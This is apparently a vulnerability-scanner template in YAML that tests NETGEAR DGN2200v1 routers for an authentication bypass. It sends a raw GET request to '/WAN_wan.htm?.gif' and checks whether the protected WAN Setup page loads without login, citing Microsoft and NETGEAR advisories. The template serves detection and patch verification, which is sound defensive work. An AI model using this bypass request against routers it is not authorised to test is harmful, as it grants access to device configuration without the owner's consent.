id: netgear-router-auth-bypass

info:
  name: NETGEAR DGN2200v1 Router Authentication Bypass
  author: gy741
  severity: high
  description: NETGEAR DGN2200v1 Router does not require authentication if a page has ".jpg", ".gif", or "ess_" substrings, however matches the entire URL. Any page on the device can therefore be accessed, including
    those that require authentication, by appending a GET variable with the relevant substring (e.g., "?.gif").
  reference:
    - https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    - https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
  tags: netgear,auth-bypass,router

requests:
  - raw:
      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<title>WAN Setup</title>"